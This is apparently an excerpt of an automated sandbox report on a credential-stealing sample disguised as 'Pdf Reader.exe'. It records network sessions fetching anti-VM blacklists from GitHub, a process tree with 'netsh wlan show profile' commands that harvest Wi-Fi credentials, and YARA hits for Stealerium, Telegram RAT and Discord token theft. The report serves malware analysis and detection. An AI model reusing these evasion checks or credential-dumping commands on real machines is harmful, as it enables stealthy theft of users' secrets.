32 2e 37 34 Data Ascii: 0.118213.33.190.171213.33.190.22213.33.190.227213.33.190.242213.33.190.35213.33.190.42213.33.190.46213.33.190.69213.33.190.7423.128.248.4634.105.0.2734.105.183.6834.105.72.24134.138.255.10434.138.96.2334.141.146.11434.141.245.2534.142.74
2024-12-03 09:28:46 UTC	97	IN	Data Raw: 35 2e 37 31 2e 36 35 0a 39 35 2e 32 35 2e 37 31 2e 37 30 0a 39 35 2e 32 35 2e 37 31 2e 38 30 0a 39 35 2e 32 35 2e 37 31 2e 38 36 0a 39 35 2e 32 35 2e 37 31 2e 38 37 0a 39 35 2e 32 35 2e 37 31 2e 38 39 0a 39 35 2e 32 35 2e 37 31 2e 39 32 0a 39 35 2e 32 35 2e 38 31 2e 32 34 0a 4e 6f 6e 65 0a Data Ascii: 5.71.6595.25.71.7095.25.71.8095.25.71.8695.25.71.8795.25.71.8995.25.71.9295.25.81.24None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49758	185.199.110.133	443	7384	C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:45 UTC	134	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/MachineGuid.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:46 UTC	897	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1110 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "1224175461dce581d971884e2b8af67d12f105702cbcc56be1043ccc84319e42" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 551A:7502:5DF99A:67DE41:674ECF26 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:45 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740073-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1733218126.989900,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: b1b5fd199bc21ac7b39bd6d128aabb6be4b817ab Expires: Tue, 03 Dec 2024 09:33:45 GMT Source-Age: 38
2024-12-03 09:28:46 UTC	1110	IN	Data Raw: 30 38 31 61 62 33 39 35 2d 35 65 38 35 2d 34 36 33 34 2d 61 63 64 62 2d 32 64 62 64 34 66 35 39 61 37 64 30 0a 30 38 39 65 36 32 31 63 2d 31 34 32 32 2d 34 38 35 36 2d 61 38 62 31 2d 33 66 31 64 62 32 30 38 63 65 39 65 0a 31 30 37 39 37 66 31 64 2d 39 36 31 33 2d 34 38 33 32 2d 62 31 61 33 2d 63 32 32 66 65 33 36 35 62 38 39 64 0a 31 35 39 34 37 38 30 32 2d 63 62 39 63 2d 34 37 38 66 2d 61 66 35 63 2d 33 33 62 31 61 62 62 64 31 62 66 65 0a 31 61 38 35 63 36 36 30 2d 31 66 39 38 2d 34 32 63 61 2d 62 31 63 62 2d 31 39 39 66 36 33 65 31 64 38 30 37 0a 32 62 35 33 36 35 66 31 2d 65 65 62 62 2d 34 31 33 35 2d 62 36 65 31 2d 34 31 33 61 61 62 32 39 39 66 63 62 0a 34 35 30 38 61 66 64 33 2d 35 66 30 35 2d 34 39 31 65 2d 62 34 39 66 2d 62 34 34 30 32 34 39 36 37 Data Ascii: 081ab395-5e85-4634-acdb-2dbd4f59a7d0089e621c-1422-4856-a8b1-3f1db208ce9e10797f1d-9613-4832-b1a3-c22fe365b89d15947802-cb9c-478f-af5c-33b1abbd1bfe1a85c660-1f98-42ca-b1cb-199f63e1d8072b5365f1-eebb-4135-b6e1-413aab299fcb4508afd3-5f05-491e-b49f-b44024967

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49756	185.199.110.133	443	7384	C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:45 UTC	139	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_username_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:46 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1275 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "bbf75a064e165fba2b8fcc6595e496788fe27c3185ffa2fa56d3479e12867693" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 4D6E:3EA9F3:642160:6E077E:674ECF27 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:46 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740027-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1733218126.044118,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: c5eed0282edae30d3e41696e60eaa5758bd31258 Expires: Tue, 03 Dec 2024 09:33:46 GMT Source-Age: 38
2024-12-03 09:28:46 UTC	1275	IN	Data Raw: 30 35 68 30 30 47 69 30 0a 30 35 4b 76 41 55 51 4b 50 51 0a 32 31 7a 4c 75 63 55 6e 66 49 38 35 0a 33 75 32 76 39 6d 38 0a 34 33 42 79 34 0a 34 74 67 69 69 7a 73 4c 69 6d 53 0a 35 73 49 42 4b 0a 35 59 33 79 37 33 0a 67 72 65 70 65 74 65 0a 36 34 46 32 74 4b 49 71 4f 35 0a 36 4f 34 4b 79 48 68 4a 58 42 69 52 0a 37 44 42 67 64 78 75 0a 37 77 6a 6c 47 58 37 50 6a 6c 57 34 0a 38 4c 6e 66 41 61 69 39 51 64 4a 52 0a 38 4e 6c 30 43 6f 6c 4e 51 35 62 71 0a 38 56 69 7a 53 4d 0a 39 79 6a 43 50 73 45 59 49 4d 48 0a 41 62 62 79 0a 61 63 6f 78 0a 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 0a 41 6d 79 0a 61 6e 64 72 65 61 0a 41 70 70 4f 6e 46 6c 79 53 75 70 70 6f 72 74 0a 41 53 50 4e 45 54 0a 61 7a 75 72 65 0a 62 61 72 62 61 72 72 61 79 0a 62 65 6e 6a 61 68 0a 42 72 75 6e Data Ascii: 05h00Gi005KvAUQKPQ21zLucUnfI853u2v9m843By44tgiizsLimS5sIBK5Y3y73grepete64F2tKIqO56O4KyHhJXBiR7DBgdxu7wjlGX7PjlW48LnfAai9QdJR8Nl0ColNQ5bq8VizSM9yjCPsEYIMHAbbyacoxAdministratorAmyandreaAppOnFlySupportASPNETazurebarbarraybenjahBrun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49755	185.199.110.133	443	7384	C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:45 UTC	137	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/processes_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:46 UTC	897	IN	HTTP/1.1 200 OK Connection: close Content-Length: 31 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "b8ccbe01df84b6df59046ff7ef97fe02bbba9374a7a63f24d1c8a0b07083adca" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 2AFA:2AD828:586378:62498C:674ECF27 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:46 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740025-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1733218126.046777,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 00646e6393a4589789821d61040029a4e269dc1e Expires: Tue, 03 Dec 2024 09:33:46 GMT Source-Age: 38
2024-12-03 09:28:46 UTC	31	IN	Data Raw: 56 6d 52 65 6d 6f 74 65 47 75 65 73 74 2e 65 78 65 0a 53 79 73 6d 6f 6e 36 34 2e 65 78 65 0a Data Ascii: VmRemoteGuest.exeSysmon64.exe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49759	185.199.110.133	443	7384	C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:45 UTC	135	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_name_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:46 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3145 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "72b0005e577398f4eb7596131aa14f87c4f7379acc30e24456d4830af5304467" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: A216:2962F4:5BA353:658837:674ECF26 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:46 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740040-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1733218126.046455,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 38be8e5c2c4909724e45436f86a800d576920096 Expires: Tue, 03 Dec 2024 09:33:46 GMT Source-Age: 38
2024-12-03 09:28:46 UTC	1378	IN	Data Raw: 30 30 39 30 30 42 43 38 33 38 30 32 0a 30 30 39 30 30 42 43 38 33 38 30 33 0a 30 43 43 34 37 41 43 38 33 38 30 33 0a 31 38 43 39 41 43 44 46 2d 37 43 30 30 2d 34 0a 33 43 45 43 45 46 43 38 33 38 30 36 0a 36 43 34 45 37 33 33 46 2d 43 32 44 39 2d 34 0a 41 42 49 47 41 49 0a 41 43 45 50 43 0a 41 49 44 41 4e 50 43 0a 41 4c 45 4e 4d 4f 4f 53 2d 50 43 0a 41 4c 49 4f 4e 45 0a 41 50 50 4f 4e 46 4c 59 2d 56 50 53 0a 41 52 43 48 49 42 41 4c 44 50 43 0a 61 7a 75 72 65 0a 42 33 30 46 30 32 34 32 2d 31 43 36 41 2d 34 0a 42 41 52 4f 53 49 4e 4f 2d 50 43 0a 42 45 43 4b 45 52 2d 50 43 0a 42 45 45 37 33 37 30 43 2d 38 43 30 43 2d 34 0a 43 38 31 46 36 36 43 38 33 38 30 35 0a 43 41 54 57 52 49 47 48 54 0a 43 48 53 48 41 57 0a 43 4f 46 46 45 45 2d 53 48 4f 50 0a 43 4f 4d 50 Data Ascii: 00900BC8380200900BC838030CC47AC8380318C9ACDF-7C00-43CECEFC838066C4E733F-C2D9-4ABIGAIACEPCAIDANPCALENMOOS-PCALIONEAPPONFLY-VPSARCHIBALDPCazureB30F0242-1C6A-4BAROSINO-PCBECKER-PCBEE7370C-8C0C-4C81F66C83805CATWRIGHTCHSHAWCOFFEE-SHOPCOMP
2024-12-03 09:28:46 UTC	1378	IN	Data Raw: 46 4f 0a 44 45 53 4b 54 4f 50 2d 4c 54 4d 43 4b 4c 41 0a 44 45 53 4b 54 4f 50 2d 4d 4a 43 36 35 30 30 0a 44 45 53 4b 54 4f 50 2d 4d 57 46 52 56 4b 48 0a 44 45 53 4b 54 4f 50 2d 4e 41 4b 46 46 4d 54 0a 44 45 53 4b 54 4f 50 2d 4e 4b 50 30 49 34 50 0a 44 45 53 4b 54 4f 50 2d 4e 4d 31 5a 50 4c 47 0a 44 45 53 4b 54 4f 50 2d 4e 54 55 37 56 55 4f 0a 44 45 53 4b 54 4f 50 2d 4f 36 46 42 4d 46 37 0a 44 45 53 4b 54 4f 50 2d 4f 37 42 49 33 50 54 0a 44 45 53 4b 54 4f 50 2d 50 41 30 46 4e 56 35 0a 44 45 53 4b 54 4f 50 2d 50 4b 51 4e 44 53 52 0a 44 45 53 4b 54 4f 50 2d 51 4c 4e 32 56 55 46 0a 44 45 53 4b 54 4f 50 2d 51 55 41 59 38 47 53 0a 44 45 53 4b 54 4f 50 2d 52 43 41 33 51 57 58 0a 44 45 53 4b 54 4f 50 2d 52 48 58 44 4b 57 57 0a 44 45 53 4b 54 4f 50 2d 52 50 34 46 Data Ascii: FODESKTOP-LTMCKLADESKTOP-MJC6500DESKTOP-MWFRVKHDESKTOP-NAKFFMTDESKTOP-NKP0I4PDESKTOP-NM1ZPLGDESKTOP-NTU7VUODESKTOP-O6FBMF7DESKTOP-O7BI3PTDESKTOP-PA0FNV5DESKTOP-PKQNDSRDESKTOP-QLN2VUFDESKTOP-QUAY8GSDESKTOP-RCA3QWXDESKTOP-RHXDKWWDESKTOP-RP4F
2024-12-03 09:28:46 UTC	389	IN	Data Raw: 45 45 4c 35 33 53 4e 0a 57 49 4e 5a 44 53 2d 31 42 48 52 56 50 51 55 0a 57 49 4e 5a 44 53 2d 32 32 55 52 4a 49 42 56 0a 57 49 4e 5a 44 53 2d 33 46 46 32 49 39 53 4e 0a 57 49 4e 5a 44 53 2d 35 4a 37 35 44 54 48 48 0a 57 49 4e 5a 44 53 2d 36 54 55 49 48 4e 37 52 0a 57 49 4e 5a 44 53 2d 38 4d 41 45 49 38 45 34 0a 57 49 4e 5a 44 53 2d 39 49 4f 37 35 53 56 47 0a 57 49 4e 5a 44 53 2d 41 4d 37 36 48 50 4b 32 0a 57 49 4e 5a 44 53 2d 42 30 33 4c 39 43 45 4f 0a 57 49 4e 5a 44 53 2d 42 4d 53 4d 44 38 4d 45 0a 57 49 4e 5a 44 53 2d 42 55 41 4f 4b 47 47 31 0a 57 49 4e 5a 44 53 2d 4b 37 56 49 4b 34 46 43 0a 57 49 4e 5a 44 53 2d 4d 49 4c 4f 42 4d 33 35 0a 57 49 4e 5a 44 53 2d 50 55 30 55 52 50 56 49 0a 57 49 4e 5a 44 53 2d 51 4e 47 4b 47 4e 35 39 0a 57 49 4e 5a 44 53 2d Data Ascii: EEL53SNWINZDS-1BHRVPQUWINZDS-22URJIBVWINZDS-3FF2I9SNWINZDS-5J75DTHHWINZDS-6TUIHN7RWINZDS-8MAEI8E4WINZDS-9IO75SVGWINZDS-AM76HPK2WINZDS-B03L9CEOWINZDS-BMSMD8MEWINZDS-BUAOKGG1WINZDS-K7VIK4FCWINZDS-MILOBM35WINZDS-PU0URPVIWINZDS-QNGKGN59WINZDS-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49760	185.199.110.133	443	7384	C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:28:45 UTC	131	OUT	GET /6nz/virustotal-vm-blacklist/refs/heads/main/gpu_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-03 09:28:46 UTC	897	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1246 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "30981a4a96ce3533cb33ae7620077db7a4a8377cb1ef8fcfc8a07293fa2937d6" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: C91A:370D5:8A718F:98445C:674ECF46 Accept-Ranges: bytes Date: Tue, 03 Dec 2024 09:28:46 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740050-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1733218126.047694,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 8eb70f8d538eccccfd47f43b1eec84addcf082b8 Expires: Tue, 03 Dec 2024 09:33:46 GMT Source-Age: 8
2024-12-03 09:28:46 UTC	1246	IN	Data Raw: 32 39 5f 5f 48 45 52 45 0a 32 47 36 43 37 5a 36 31 0a 32 52 4f 5f 38 55 56 55 0a 32 53 4e 35 33 38 4b 34 0a 35 4b 42 4b 34 31 5f 4c 0a 35 4c 58 50 41 38 45 53 0a 35 50 45 43 4e 36 4c 31 0a 35 52 50 46 54 33 48 5a 0a 36 42 4f 53 34 4f 37 55 0a 36 42 5a 50 32 59 32 5f 0a 36 46 34 34 41 44 52 37 0a 36 4d 50 41 39 33 0a 37 32 32 39 48 39 47 39 0a 37 34 5a 5a 43 59 37 41 0a 37 54 42 39 47 36 50 37 0a 38 34 4b 44 31 4b 53 4b 0a 38 4e 59 47 4b 33 46 4c 0a 38 59 33 42 53 58 4b 47 0a 39 53 46 37 32 46 47 37 0a 39 5a 37 37 44 4e 34 54 0a 5f 47 33 31 45 34 36 4e 0a 5f 50 48 4c 4e 59 47 52 0a 5f 54 39 57 35 4c 48 4f 0a 41 46 52 42 52 36 54 43 0a 41 4d 44 20 52 61 64 65 6f 6e 20 48 44 20 38 36 35 30 47 0a 41 53 50 45 45 44 20 47 72 61 70 68 69 63 73 20 46 61 6d 69 6c Data Ascii: 29__HERE2G6C7Z612RO_8UVU2SN538K45KBK41_L5LXPA8ES5PECN6L15RPFT3HZ6BOS4O7U6BZP2Y2_6F44ADR76MPA937229H9G974ZZCY7A7TB9G6P784KD1KSK8NYGK3FL8Y3BSXKG9SF72FG79Z77DN4T_G31E46N_PHLNYGR_T9W5LHOAFRBR6TCAMD Radeon HD 8650GASPEED Graphics Famil

Target ID:	0
Start time:	04:28:04
Start date:	03/12/2024
Path:	C:\Users\user\Desktop\Pdf Reader.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Pdf Reader.exe"
Imagebase:	0x16aef600000
File size:	3'957'248 bytes
MD5 hash:	E91657014183219FD6D6535BAAE97B7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.4162081227.0000016A80001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_5, Description: Yara detected AntiVM_5, Source: 00000000.00000002.4162081227.0000016A80001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealerium, Description: Yara detected Stealerium, Source: 00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_5, Description: Yara detected AntiVM_5, Source: 00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: JoeSecurity_Stealerium, Description: Yara detected Stealerium, Source: 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	04:28:10
Start date:	03/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Imagebase:	0x7ff65ce30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:28:10
Start date:	03/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:28:10
Start date:	03/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff7102f0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:28:10
Start date:	03/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profile
Imagebase:	0x7ff67b190000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:28:11
Start date:	03/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr All
Imagebase:	0x7ff7abf90000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:28:11
Start date:	03/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff6e6f90000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	04:28:12
Start date:	03/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Imagebase:	0x7ff65ce30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:28:12
Start date:	03/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:28:12
Start date:	03/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff7102f0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:28:12
Start date:	03/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show networks mode=bssid
Imagebase:	0x7ff67b190000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:28:35
Start date:	03/12/2024
Path:	C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe"
Imagebase:	0x1d9ed0c0000
File size:	3'957'248 bytes
MD5 hash:	E91657014183219FD6D6535BAAE97B7C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AntiVM_5, Description: Yara detected AntiVM_5, Source: 0000000E.00000002.2044553453.000001D980077000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_5, Description: Yara detected AntiVM_5, Source: 0000000E.00000002.2044553453.000001D98008A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_5, Description: Yara detected AntiVM_5, Source: 0000000E.00000002.2044553453.000001D980601000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000E.00000002.2044553453.000001D980001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_5, Description: Yara detected AntiVM_5, Source: 0000000E.00000002.2044553453.000001D980001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRecon, Description: Yara detected Telegram Recon, Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, Author: Joe Security Rule: JoeSecurity_Stealerium, Description: Yara detected Stealerium, Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, Author: Joe Security Rule: JoeSecurity_AntiVM_5, Description: Yara detected AntiVM_5, Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:28:43
Start date:	03/12/2024
Path:	C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe"
Imagebase:	0x29f711a0000
File size:	3'957'248 bytes
MD5 hash:	E91657014183219FD6D6535BAAE97B7C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AntiVM_5, Description: Yara detected AntiVM_5, Source: 0000000F.00000002.2118787399.0000029F00090000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_5, Description: Yara detected AntiVM_5, Source: 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_5, Description: Yara detected AntiVM_5, Source: 0000000F.00000002.2118787399.0000029F00088000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_5, Description: Yara detected AntiVM_5, Source: 0000000F.00000002.2118787399.0000029F0001C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000F.00000002.2118787399.0000029F00001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Function 00007FFD9B7D0F69 Relevance: 1.9, Instructions: 1876COMMON

Download Yara Rule

Memory Dump Source

